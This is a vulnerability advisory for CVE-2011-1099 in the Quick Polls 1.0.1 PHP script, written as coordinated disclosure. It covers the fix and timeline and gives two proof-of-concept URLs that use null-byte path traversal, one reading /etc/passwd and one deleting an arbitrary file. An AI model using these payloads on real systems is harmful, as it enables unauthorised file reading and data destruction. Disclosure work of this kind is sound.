Quick Polls 1.0.1 Local File Inclusion / Deletion

`'Quick Polls' Local File Inclusion & Deletion Vulnerabilities (CVE-2011-1099)  
Mark Stanislav - [email protected]  
  
  
I. DESCRIPTION  
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Two vulnerabilities exist in 'Quick Polls' providing local file inclusion & local file deletion due to null-byte attacks against functions in index.php.  
  
  
II. TESTED VERSION  
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1.0.1  
  
  
III. PoC EXPLOITS  
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LFI: http://example.com/quickpolls/?fct=preview&p=../../../../../../../etc/passwd%00  
LFD: http://example.com/quickpolls/?fct=delete&p=../../../../../../../tmp/foobar%00  
  
  
IV. NOTES   
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* magic_quotes_gpc must be disabled for null-byte attacks to work  
  
  
V. SOLUTION  
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Upgrade to 1.0.2 or above  
  
  
VI. REFERENCES  
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http://www.focalmedia.net/create_voting_poll.html  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1099  
http://www.uncompiled.com/2011/03/quick-polls-local-file-inclusion-deletion-vulnerabilities-cve-2011-1099/  
  
  
VII. TIMELINE  
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02/05/2011 - Initial vendor disclosure  
02/07/2011 - Vendor patched and released an updated version  
02/07/2011 - Confirmed public disclosure date with vendor  
03/06/2011 - Public disclosure  
`